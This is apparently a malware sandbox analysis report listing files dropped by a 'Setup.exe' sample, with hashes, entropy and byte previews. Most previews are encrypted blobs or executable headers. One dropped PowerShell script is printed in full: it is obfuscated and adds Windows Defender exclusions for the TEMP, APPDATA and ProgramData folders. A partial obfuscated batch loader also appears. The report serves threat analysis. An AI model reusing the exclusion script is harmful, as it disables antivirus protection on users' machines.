Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.373507178298041
Encrypted:	false
SSDEEP:	48:3WSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//8PUyus:3LHyIFKL3IZ2KRH9Oug8s
MD5:	B3134523D751045488CC2CA71F53B747
SHA1:	39FBBD5C1A797DA0D568F930B007E59D4D4875FE
SHA-256:	1342801329F1471DCCE42AD09279B974F37B51F50409DC0D891E020E0504C6DF
SHA-512:	B23DEC5FBD3529F63F3DE761E6E4279847193E4FE8994A5BD4DCD6C9382FFBE1164EA853C2927ADD703DD9C41B6756703AA5AB7E65B8985C796D45D9EDF1D06D
Malicious:	false
Preview:	@...e................................... .......................P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.620254876639106
Encrypted:	false
SSDEEP:	12288:DpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31troPTdFqgaAV2M0L:DT3E53Myyzl0hMf1te7xaA8M0L
MD5:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
SHA1:	F2F57024C7CC3F9FF5F999EE20C4F5C38BFC20A2
SHA-256:	865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4
SHA-512:	57D56DE2BB882F491E633972003D7C6562EF2758C3731B913FF4D15379ADA575062F4DE2A48CA6D6D9241852A5B8A007F52792753FD8D8FEE85B9A218714EFD0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: 'Set-up.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: JSWunwO4rS.lnk, Detection: malicious, Browse Filename: Yn13dTQdcW.exe, Detection: malicious, Browse Filename: DM6vAAgoCw.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: xoJxSAotVM.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\189943\X

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	457062
Entropy (8bit):	7.999641074764908
Encrypted:	true
SSDEEP:	12288:wxTcEL8FBOq7+zGb55ntyHwebnBEjxfq5j4:SwBCi3ebnydx
MD5:	6FFED7673094124C9EDEBD953FBA7A8D
SHA1:	9F91546281C9B4673B4C2E4EE033543EA0217242
SHA-256:	ADE1B66FA4AA5C53451979387184EAA6A62E129CD346EBD9A9C5E77119756114
SHA-512:	9C0B41050E5E68157FCC4F5563EBA0DA3A1DBA1AEEE53DCFCF0486F84D7A69C1B77DA58ACFE526AF63EA89D5B72B13C8E9C583A38D762889075B494F34577CC7
Malicious:	false
Preview:	.,...B.Yh1..L.~...>.C.3)....}..d....`%.&N.x.%.?jH.7u......+.H..L..P...U...R%Qq....}.z\v.5.!....i,.=D..;.hy....\|.s.$%.bq.K..u.P:..$o.=..A...1.!.bP8;.DZ...q.O#.)....l.../...R........w...\|R...\|..:.xo.......n.Ls.....n...]..]C....+lf..txc/.....~.j.ia?....+..VZ2W. ..r.(`.. ....s...`...t.b...V..v..$@.4.~4.f.@.}<..94.!.._...-.j.... ...O@....Z.....<.0..c...C.oC..C..Q...,%...\|....f....kQ.....rS?..F(..R....K...K.....LF..OO.t.v....+Hm...........K..........ts&.,....Q=2..M.F.....M.`.zj......i..A....X:.I.I..=IV>...zwD.. C..?#P/u..wDP.ud.. ....<W<.-..G..w....].........t..J............W~=...g..&.. .\]......lmk..8!v4...Ra.......e..q.f.H#IZ.Z..l^g/.&...p....8..N.S....-.7[..P.X..~e.s....k.o......\|.N.]....n......U..7...e...&.2.Fp.Z_!e..TRuI.5..1.DvDl?".T9X..Y.dC...4M7...M.v..4.2..+_.=).U:...g\.9.2...vb...S.iil.';..Uz..<../.}.G.......X.uh.3..F..+....t.2.(..X.~kO..<N...5....N.....aP..o..2Ly...R.uN...O...k4.J>.4.."....1..b..k....:/..b...:.L.E>,.5..Y.....R<V.=fd....

C:\Users\user\AppData\Local\Temp\Added

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	51558
Entropy (8bit):	7.996591174482887
Encrypted:	true
SSDEEP:	1536:ekz2L/BdK/ElRqnqZsHMXrxlTd0webNG0de/:j2z6/ElRqBM7/d0wSZe/
MD5:	97B2D3BAE7E383607D399FBA3CA46E77
SHA1:	DDD98AD8F85EF1A7AF4CE5E48D7A8D8E1BED2C9C
SHA-256:	21E267697F0DEF5835322A178C7A46CD56FB256DB68806CAA964CD8060CC4469
SHA-512:	AD39E31F5424D258C7569E738988EBC9B3A4F2E1A9DA1B55CC9E385F4A8D28AED167653B2A66E0D4BF15FC34B7CE22C5D60C7A2BCEA6D3E29F142AD20CA7394A
Malicious:	false
Preview:	n.!.Llg......t.pJR..n[8?a..As..6..l..n.:.@>....I...........K@..s..uzW...96l.21....'am....f.%.$.n9.K8`x.d.R.'..Dk.'y.F..[\|4Oao.i..Z.9.r.O..;..,.].`....gU.......e.9.{........b....U6..eT+....]...$..r..... .l....1O......;Z.......3....j._:4..5.G.=_..b....;..3../.f.g..,...6.P%.?..0w..;Y0V..zh3 .>.c..Aa7.l.M^.....'..+.$G.@.;\..../C.H.wr...e.Df.g..u.....C..h=F.L.!..e;,.......tP'.........].-......n.\.......e.:.W.b)d+.K1V.... gN.*....r....I.'..Zq..).0....."N....;0.6.\|.}...L....`..e...w~..I........D....x........q.A>.}...A...P.P....g...7...m...mJ.j......nA._4...$.,.....Y..j.....5=.S..,..I..B..\1..7...3.c.K.a..S{..R3...N..\|.0..L.3u..,..g.j.~/...N.wa....C...dy2.B.?[.........<.........Y......e.....$.s..p.......mI2.H...6G.e(..^2.E.......s"..a..\.;>G..x..$...../.n.Ub.u..+dr.,+...,_..m.P.?R2....c....Ba=;.._.}....z......V.'1.rv.y.2IB...JB..".3.T..K.mV......-.v..6G.......i..#.....LQbOp..Y\0Z.1...9.....]k...{.....'.L....r.......b..9.^.....7.L...PW

C:\Users\user\AppData\Local\Temp\Advert

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	7.996935729948483
Encrypted:	true
SSDEEP:	768:UspE0VoWS7tUstng24jj1QOAVHZdz2y8ECDywwNCybiRRarXmbj3gijVJocNDFNi:PsWUtTyjAXl8SRqWXmX3gyJ5rXbdezuW
MD5:	2CCD5F3F0D40D8B9B166A527E6D7ADA2
SHA1:	A4742EFC7CEE9B328E2F80B93E2F9D19962F4BE1
SHA-256:	4A47997E1ED86BF7034DB10A0B4AC328A5DF4405B0E21775AAB556B83EAD7404
SHA-512:	CB34FD2BF10CD557D2C5791679D25C51C2DFD36799F7352FA763573485276E67AE58FE1E66A124E584B9CB6D70C08944F092CC6C69B8B1CB532ED5E13A14F1A5
Malicious:	false
Preview:	..q...Z...]..g.t'.$<A..5Mh1;...Lc.Bn..-^]..c.z.W`B..x....3...xz.......[..u.Rt..{."g!.......>.;...dY.@\...F....?.. .;..h...T+..d.....X..d.]N$....K...P...?.<D....opRB.....!.^B.Z7....7...Wt....u.......F.u......:...q...<YBA..7P.....,,.H...G...j3..>...t.([.u...0ON....8Z..3D.....J&..o......p0j..T..._.<l@(vQ.N@.}.4..l.U.;..s.^...Z....).?.E.(....l..o..._..hF..02.''..".....y........\|..Gdkq.m..8.l....:....AB..no3.KXnb.Q..4...g.=..._*.k..~N.?..0(..r.z{^F...eR.......B..gG.X..../.....T{.bh..p.....;.OR.6v......yZ..L1.h.A{..r..!.=. .';].. n.o.\|....s..8._i.M.w.>...C..ja"..:.e.>..b.y.X........D"O..2...rb...y....'.Y..G..{.G.B.X....y..c...FdaG....L..#<..4.l.Z......]..pS.....8VK..1.K\|..3.......0...K...k_.........B9..\!..MyX...ZG....(.J.@....[S....B.0..`.<...m..]A..[k.-?........j.......,...4..E..%ZkNLN...)_.....C..$t.....e..D..>.u...V....>.C7.D.K.I/..a%..Ia..<..3.c..K........c..a.Kr..a...MZ.1...<:......U..N.....=.NJ..:d...Ox$.d...O.e-...hW.4.#cI...0...

C:\Users\user\AppData\Local\Temp\Attorneys

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	95232
Entropy (8bit):	7.998231632688494
Encrypted:	true
SSDEEP:	1536:fYeI/6XCUfa4seuraIuiXHh1CwmL5O6JylO9yGSMpieuIZd6eDcd66A0srbh/NGB:fYP/6XCUiUuZuC1QNd18IHXVZRNIqsx
MD5:	E6FAF30B91DB40A2F43A2D202559E474
SHA1:	B7C6CBD413B0E4CC01951E681A8F22CF9F48B5B0
SHA-256:	9465AE7D8C872F62B973D3A7C95A86831F6F89589F8676B3E1BB3ABC58B802A1
SHA-512:	8F0DA0DD95CE9FD9E9775010DCE1097E3970B439F61422AC91A1F596729659464FF81DF40719E7FCCE7CA1689634E14AF86026DC68C1AFEB94612857DC284165
Malicious:	false
Preview:	....<W........$y..V.;1m\.......).P.g....]A.....)..ep/.rmo.p..R;..]...z~?Y..d..............+...z-[.....~o.V......\|..@"!.v7..a.....3H.....H6l....b8...."\...;....X..W.x...Xh#s\^J)\.r..+..l.L..wD.......f.L.3..?fb3. ]3r.5......c...XeR>(...F..._..n..f4.<.....l....S...5.\|....Z......Q.{............T.Zl.Y&.]...jF.7..1.v.C..@s.....{..!.t..b0A.N.t.8.p/...\|p4D....q...W...w6...7...k..t...9..V4.b.nE.t.\/.'r..D]..1....d...V...\.y..$..NKV....d@x.\|.....Q~.0.....@8......3....J..Q/...@....G.<.W<.2.%...vhZI.f..K..a.(......(!....V...j....DSN...od+.h.<>...c;h..3........f.yl...DYG.,.....&........mF...J.}.m.P9P......;.no...}.1...y1..&3...R....+....{n.G..2.n..%.d.U...i...../.............N.8w0........uWT..)cD.~!$.G.6.8.....#......a4I.../GD"...B?.....!."1..~.W..8...!x?..&.`.20x...)..R.m..P0+v.,.......U.Q....da......+\...C....N.js.[:.....e..^G.W......hI....p9....jO.W[j.....BY...H._.tt./......K..d&..n...,\|.E.yy/...CE...Ye...p...\|.J.x.+]w?...r.7-N....4..6.

C:\Users\user\AppData\Local\Temp\Celebration

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	7.996545348826868
Encrypted:	true
SSDEEP:	768:E+xpFkUp937+k4Mf/EDY8dbS1nVxPi9Fwal7D0BH4ztb/pZtYcByzY+yd:E+x7ky7+af/iWVxPi9FXH9tDNtMkHd
MD5:	2BD5CDCC0DA1CEADE71E6E2749EF9287
SHA1:	598C154BE0CEF6905B4A547C40EC1EDD9EC27F95
SHA-256:	15A5F904DADC3DC0F00377D7BA8D04B54681DFE04ABC37DC85CC2E538B8E16F1
SHA-512:	96FC7DC8FA1ABE6C35205564899C1AD61946DDA033287C6D4AECF8CE7DD79724014CFC2ABCF621EB68036DCCBEBE0916F750D4D41A67B39153FDF97AD878CA90
Malicious:	false
Preview:	[...{I(.i....Xa.2#.`.Z4!.H....5-.......:....Pv.W.q..6.p..9.ir...[...d9...H..Z..D...].3.'Q^......{b.>e... tE;....A......4..u_...\|r..U{_...g.M.....QC...4............)S.]..-%.^.qs.M......._~y....q.9............C).H!..[..k....Q..' m..B..A.k....x.E.L.\;....)..6..>.P...}..yg....Y.s.nW..G&...5T.6...8.[..tI..o...#....`......ZX^...;F..\|+..gG...1..I..t..\..2 .....j.#Jx:....Z.6.)1.8N....5"...X .........[..Z.Do2.RjJq\.d].......[...y,b....D.a.l..l.Z.......D..6c.Q#.).o6#.^9.NNDD.T\|{[[V...8n.-E...P.{+c..Eh8u...U'...6X..K....C..Zc...Du..l...O<....M..{=....i..Y...l+.....mvGp5.F..rC.......E...1..s.8j.../...m%..@?...z8.x..JeW..rEA...=.4Rip.N..fz..$..m]1..ZZ.1v"a.x:(...v.C...h....Rt....W+sL.......(.b....Uo...KG.}.O]....g..P.D.&}.G.?L2..Ed..m.$..t.-._6........\H.~...T+...gOJ.Z.-..&.......<UfU5.R..1L.....i.M.a..>........N......H.f_Ff6....b..].)v:....o..bw..5.~....,n.l.......Y...6...].s.....[v..E?....w..USv...3...*.\|.1.H9/.T.#."\!..\O..t.\|

C:\Users\user\AppData\Local\Temp\Dennis

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	133120
Entropy (8bit):	6.382097629844567
Encrypted:	false
SSDEEP:	1536:P6CV21YEsmnq7Cv/+/Coc5m+4Xf8O46895LmNpRGDox2S3hPt8gNpkU5uG3xYwBK:yCV26MqgQTc5F446iYNpK5SB7BJBzLK
MD5:	6EB781E6DA99CC67FC504D36A26F747C
SHA1:	C03CE2A54459877363544FCBFE81B4BAE05DF46A
SHA-256:	775C20B98E3E8427E2154AFD29BE6AA61CE32AAB8BAEBF3111055F479BF870EC
SHA-512:	1DB591979402DB9F77A60C3F06EA5CFCF6E9D01C524136F0AA95B7A909248A49AE8007ABA5BA9A33D75B6FA24132F34AD19AC2E842E6BA3D24AC42E6EE9E4354
Malicious:	false
Preview:	ExpendituresReactionsRioWinterDialReducedPricingSoftware..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B......................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\189943\Attachment.com
File Type:	ASCII text, with very long lines (619), with no line terminators
Category:	dropped
Size (bytes):	619
Entropy (8bit):	5.708869778857825
Encrypted:	false
SSDEEP:	12:z/ubfzLgyaI4vY8lRzLgyaI4HYF+SLknpHi3t1O+FrAcZYWnefxo0zLgyaIS1+/:z/uLzLCQezLCHYdLknxMt17AqYWefxnN
MD5:	909DABB4B6591DDCBE2DF0395650DCCA
SHA1:	51FDEF10C5AADD9DA387464A016223CE1FEF0F1D
SHA-256:	2A29C9904D1860EA3177DA7553C8B1BF1944566E5BC1E71340D9E0FF079F0BD3
SHA-512:	E97C71230052E8E24AFA4E0030E45D3CC3473ABECEB1B08BD2C1C8CEFC0F97A7591F831C5E1A82F2E8836BAC6FD06EFBA8314AECD539ACB1CA06C46893793323
Malicious:	true
Preview:	$m3x8yk2j5q7="Add-MpPreference -ExclusionPath ";$a1k9zs7d6fh=[System.Text.Encoding]::ASCII.GetBytes("UniqueString1");$w2fh6zk3l9jy=($m3x8yk2j5q7+"'$env:TEMP'");$p9lk7zd5j3x=[System.Text.Encoding]::ASCII.GetString($a1k9zs7d6fh);$v4jk8x7l2fh=($m3x8yk2j5q7+"'$env:APPDATA'");$b0zl6kj8x3d=New-Object System.Text.ASCIIEncoding;$x5jh9y2k7zl=($m3x8yk2j5q7+"'C:\ProgramData'");$n7fh5x2j8lk=$b0zl6kj8x3d.GetBytes("UniqueString2");iex $w2fh6zk3l9jy;iex $v4jk8x7l2fh;iex $x5jh9y2k7zl;$j3yk9zl7f5h=[System.Diagnostics.Process]::GetCurrentProcess().CloseMainWindow();$c6zk8fj2yl9=[System.Text.Encoding]::UTF8.GetString($n7fh5x2j8lk)

C:\Users\user\AppData\Local\Temp\Handbook

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	56320
Entropy (8bit):	7.996612787004311
Encrypted:	true
SSDEEP:	1536:gm/+5eJWMpylKpVKOnkHIqXQUOuHN0H2SkB+fIpVvMd:j/AGoOkHIqgUOuHckB+gnEd
MD5:	9018123D42AD63F895753647D84BCB5B
SHA1:	8EB549DAB06BB97A1AE592A183D85B51DA188785
SHA-256:	20937AD26ED7FCB8CB671B3E321D8F3370B949AC8C49310DF35C0642B1DFC866
SHA-512:	F1D399994CE2A8E4CC283B17E2CB2B9D666A101169D3BD0C5C98265FB0C5FD4227BD4F624D877795537BD4C0E7F0FB86C60BA88F791D8A2123C4C66A62C0EA8B
Malicious:	false
Preview:	.,...B.Yh1..L.~...>.C.3)....}..d....`%.&N.x.%.?jH.7u......+.H..L..P...U...R%Qq....}.z\v.5.!....i,.=D..;.hy....\|.s.$%.bq.K..u.P:..$o.=..A...1.!.bP8;.DZ...q.O#.)....l.../...R........w...\|R...\|..:.xo.......n.Ls.....n...]..]C....+lf..txc/.....~.j.ia?....+..VZ2W. ..r.(`.. ....s...`...t.b...V..v..$@.4.~4.f.@.}<..94.!.._...-.j.... ...O@....Z.....<.0..c...C.oC..C..Q...,%...\|....f....kQ.....rS?..F(..R....K...K.....LF..OO.t.v....+Hm...........K..........ts&.,....Q=2..M.F.....M.`.zj......i..A....X:.I.I..=IV>...zwD.. C..?#P/u..wDP.ud.. ....<W<.-..G..w....].........t..J............W~=...g..&.. .\]......lmk..8!v4...Ra.......e..q.f.H#IZ.Z..l^g/.&...p....8..N.S....-.7[..P.X..~e.s....k.o......\|.N.]....n......U..7...e...&.2.Fp.Z_!e..TRuI.5..1.DvDl?".T9X..Y.dC...4M7...M.v..4.2..+_.=).U:...g\.9.2...vb...S.iil.';..Uz..<../.}.G.......X.uh.3..F..+....t.2.(..X.~kO..<N...5....N.....aP..o..2Ly...R.uN...O...k4.J>.4.."....1..b..k....:/..b...:.L.E>,.5..Y.....R<V.=fd....

C:\Users\user\AppData\Local\Temp\Hart

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	94946
Entropy (8bit):	6.5800415446232075
Encrypted:	false
SSDEEP:	1536:dLTN3EfrDWyu0uZo2+9BBVgCOa1ZBPaPQaEwo0yv:dLTNaWy4ZNoBVxjCPjojv
MD5:	38ABEC7193135003D8EC76408D9DC519
SHA1:	2799A9E52F191E769D60BACF855A23CE7671095B
SHA-256:	9FB4A3306F1EB8252D37F46FEE23E511976EB18FBB589AAFCCA0EBFA7F7DE1E3
SHA-512:	0DFF018966D91B72A9F89DB86CFE9A55C110DC2DFAE9BB07280452FC3C1ADF303CB37AAC361EAC039EF699944D82A41D6A2BC477AA0C26219C74B2EE66CD6E5D
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Loop

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	7.997910356469845
Encrypted:	true
SSDEEP:	1536:nu4jib0ngrKOr62dLyWrFMcx2jxd10x8LeEa75pZVXKdPCxIwex10GgW2PvWqxGo:n4b04rrRecktH0Rp5rVgwex3iGo
MD5:	6C94DFC9CACE833D232F028CD957B411
SHA1:	6A1F7DC692F3EE41CF925C8558EB8EDF951ED7BE
SHA-256:	176D491408DCF92F287851E0B08507ED38E8937611C167F85D470DD5A614FE73
SHA-512:	37542A0F73414E583750CCC8E470232CA3C65DFB87A9CAED27528309E186F43F078BBD9B8E6653A5794A168A29879EC765C7563915E858CA066ADB03D67993C4
Malicious:	false
Preview:	f....a.HxA..........K..J..}.X.....W......k..R..).a..t..m.u.Gt....;.lw....3E...%.I.D..Nl...i.Vo......].(.G%\u...==.(s.:.......-.!;.z..c....@....q....2.....S.......E.%l>.bb......G.<I..^..MW2.2!&W.w/....U..}...5\|-..<.u.EY#oN....C...2..,...]`..\|x.S....h.Js<..]......W.!Y......C.Fh.d........A..e....1.n....c.:.&.B.........ZR...... ........U...%].a......!R8.d...O......3.#....r..A.....gkT.*.f.Q. B.....!5....0'.HgH..."...?d..=.o[...Q.f......s..8.\./.....YMa.@...3..(..N.....eVa.8.IJ...#.:>.n0.BN(.r_.......?..%h.I@... ..........T..#..u4.\|.KxU.5>.....w.wE..v.D.).v...!)..wYD.o...z.=..>...o....GR.tm....O..9..........x.vp./I?....:...S....gn..~...Li.c..>\|..cC..c..'x...:~.Q..O.+..4..0....$........i...b. .v.r.....@...h......&pF.-.h...4.R.....Po.2~.kI.#...#...a...x]Of[.Vu.f.}......H....F..R......WX..`u....v9).t.....@.y.....$.0.T-o?.RS..L.N.....m...cI.@....".0.~.`..a)......&.8.....tb..P".w.=^..L.h.N../N=..JS.O._....5,4sT.'..B....Q2.....K..%...........Q....

C:\Users\user\AppData\Local\Temp\Metro

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	146432
Entropy (8bit):	6.537936237283588
Encrypted:	false
SSDEEP:	3072:mfaBaGdDqeb2Xo2IkVvh8p65Nu+dVtqi/x4Rqf21Rgat0g/u:mfcaG9b2M8JTDD/xcq21R1p/u
MD5:	BDAEE98A6902E6C461F7431C804811E8
SHA1:	36DF614AA9347CE434F09C542351BBD898F662FA
SHA-256:	09DD115F3F98DF429761C656CA30F9EDFBE221AA7678E74B5073F3DFF75741B9
SHA-512:	106EE96351A77021EB8BF175028146563DC2E0EDC31B67ACD7F59C90C489100D109060257974331FD5F3DAB4B696A1231647749DB798EB575255C0D52266A7E8
Malicious:	false
Preview:	^]...U..VW.}.....Q..A...t..B...t..P.;.u...;N.u..V.Q.b...'..N._^]...U...M.u..}..t..u.j.hg....u.....I.3.]...U.......1s...E.P......Ph.....u...`.I...../...S......P......h0.K.P.O.........P.......f..]....\u.f..]....:t.3.f..]....W3.W.u... .I...u.8E.......Wh.. .j.WWh...@.u.....I............h..........j.P.................f...............f............h....P......P..........M....3...f.........RQRR...P......Ph....W..P.I.W..u...X.I..u...$.I.3.....X.I.3.@_[..]...U......4SVW.}..G..0......N..A....D$4.A..D$8.A..D$<.\$0...G..p....Z....N....D$..A..D$..A..D$..A..L$..D$....p...t$..t$.....I....K..L$...b.....K...t.V.L$...m.....K..L$...b....u...L$...b..........S....I..........h..K..L$$.o...D$0P.L$$.Zm..h .K..L$$.ln...=..I.3.SSS.t$,...uchX.K..L$$.jm...D$.P.L$$..m..ht.K..L$$.-n..SSS.t$,...t..u........F.......h..K..L$$. m..SSS.t$,.....u.......F........L$ .q.....u.......&..F......L$..oq...L$0.fq.._^3.[..]...U..QS.].VW.E...{..r..C..H......t..E...C..p.......F..8.C..0......F....u.....

C:\Users\user\AppData\Local\Temp\Nevertheless

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	ASCII text, with very long lines (642), with CRLF line terminators
Category:	dropped
Size (bytes):	19686
Entropy (8bit):	5.138317971314625
Encrypted:	false
SSDEEP:	384:w+t0qxYqPkLyqOYv/CmIElaxerAOFllq+F1coHQpYPb:1tJxJkLyJKlvrAO3coQA
MD5:	7A79F8EA9FEA5EFE8EB91A0D9D1C6935
SHA1:	DCB90050BA9EA891AF881AF8968439113DA1E178
SHA-256:	9300644CB48494B3C42CA97834E54E3A3EF00F2C9CA7037B9CE1CDFE60930CFB
SHA-512:	C6FB7EB94755A9FB5558E9999178701229F6BB12413C6D6AFFDBB55616E78D3BF635F149B89147370D01AB66EF1F7F704744249F71EDEDE0CC26F7CD4DE9B3A8
Malicious:	false
Preview:	Set Watson=b..qpuXExperiences-Moses-Devon-Consistent-Hit-Television-..eFNest-Stereo-Herbal-Id-Business-Metallic-Packet-Mature-..fKRwPoint-References-Karaoke-Meetings-Tcp-Warren-Houses-Fastest-..vkEdRespond-..FUzzMerchants-Proposal-..jhzGPins-Virginia-Killed-Memorabilia-..BJxCollapse-Parcel-Hack-Disclaimers-Willing-..Set Nomination=h..sNHProtected-Substantially-Durham-Influences-Vegetation-..vCEVariables-Gazette-Virgin-Henderson-Lead-..xIMet-Broadway-Present-..IvFDStriking-Rope-Sentence-Narrative-Cms-Emma-..NRsFacilitate-Religions-Youth-..gIFSir-..keJmGamecube-..Set Bl=l..pvTSaying-Wonderful-Humans-Charity-Pattern-African-Beneath-..PIoSpatial-..NoIng-Just-..ARSwingers-Poland-Investigation-Pope-Used-Stripes-..ghQAcre-..evToHon-Ill-Goals-Calvin-Clouds-Based-..qhRaises-Vessel-..Set Need=a..USruStrings-Milfs-Italian-Settlement-Ghana-Mine-..BCxAna-Penalties-Chicago-..TebCross-Keyword-Empirical-Tell-Lm-..XqhQCharge-Announcement-Revisions-..MaYTDad-Tiles-Women-Analysts-Tri-Habits-..sipqHandle-

C:\Users\user\AppData\Local\Temp\Nevertheless.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (642), with CRLF line terminators
Category:	dropped
Size (bytes):	19686
Entropy (8bit):	5.138317971314625
Encrypted:	false
SSDEEP:	384:w+t0qxYqPkLyqOYv/CmIElaxerAOFllq+F1coHQpYPb:1tJxJkLyJKlvrAO3coQA
MD5:	7A79F8EA9FEA5EFE8EB91A0D9D1C6935
SHA1:	DCB90050BA9EA891AF881AF8968439113DA1E178
SHA-256:	9300644CB48494B3C42CA97834E54E3A3EF00F2C9CA7037B9CE1CDFE60930CFB
SHA-512:	C6FB7EB94755A9FB5558E9999178701229F6BB12413C6D6AFFDBB55616E78D3BF635F149B89147370D01AB66EF1F7F704744249F71EDEDE0CC26F7CD4DE9B3A8
Malicious:	false
Preview:	Set Watson=b..qpuXExperiences-Moses-Devon-Consistent-Hit-Television-..eFNest-Stereo-Herbal-Id-Business-Metallic-Packet-Mature-..fKRwPoint-References-Karaoke-Meetings-Tcp-Warren-Houses-Fastest-..vkEdRespond-..FUzzMerchants-Proposal-..jhzGPins-Virginia-Killed-Memorabilia-..BJxCollapse-Parcel-Hack-Disclaimers-Willing-..Set Nomination=h..sNHProtected-Substantially-Durham-Influences-Vegetation-..vCEVariables-Gazette-Virgin-Henderson-Lead-..xIMet-Broadway-Present-..IvFDStriking-Rope-Sentence-Narrative-Cms-Emma-..NRsFacilitate-Religions-Youth-..gIFSir-..keJmGamecube-..Set Bl=l..pvTSaying-Wonderful-Humans-Charity-Pattern-African-Beneath-..PIoSpatial-..NoIng-Just-..ARSwingers-Poland-Investigation-Pope-Used-Stripes-..ghQAcre-..evToHon-Ill-Goals-Calvin-Clouds-Based-..qhRaises-Vessel-..Set Need=a..USruStrings-Milfs-Italian-Settlement-Ghana-Mine-..BCxAna-Penalties-Chicago-..TebCross-Keyword-Empirical-Tell-Lm-..XqhQCharge-Announcement-Revisions-..MaYTDad-Tiles-Women-Analysts-Tri-Habits-..sipqHandle-

C:\Users\user\AppData\Local\Temp\Objectives

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	7.996759945164135
Encrypted:	true
SSDEEP:	1536:FFgvaFKpAe5iXqzL7cifwRrqlmIQYG93T9mxglo:F8liXs75fEMhG93T9Jo
MD5:	D798297C0E4FC23B579A13BACFE3D820
SHA1:	2AFD7D90016EBB115333EB64BB59FAD4B86746DD
SHA-256:	B27CF86E9C078A2EC6CAD30D10935BA2F91FA4D523FF383F442600BE62E5F89B
SHA-512:	3E3EDB067A07AA7572537407352704633F332967DCCCB26D00CBBA506457E067786C9BAC58D86E4FE9B5A6BCE035FDE9D9B2D52F44D0F0D87890FD2FA19F53E6
Malicious:	false
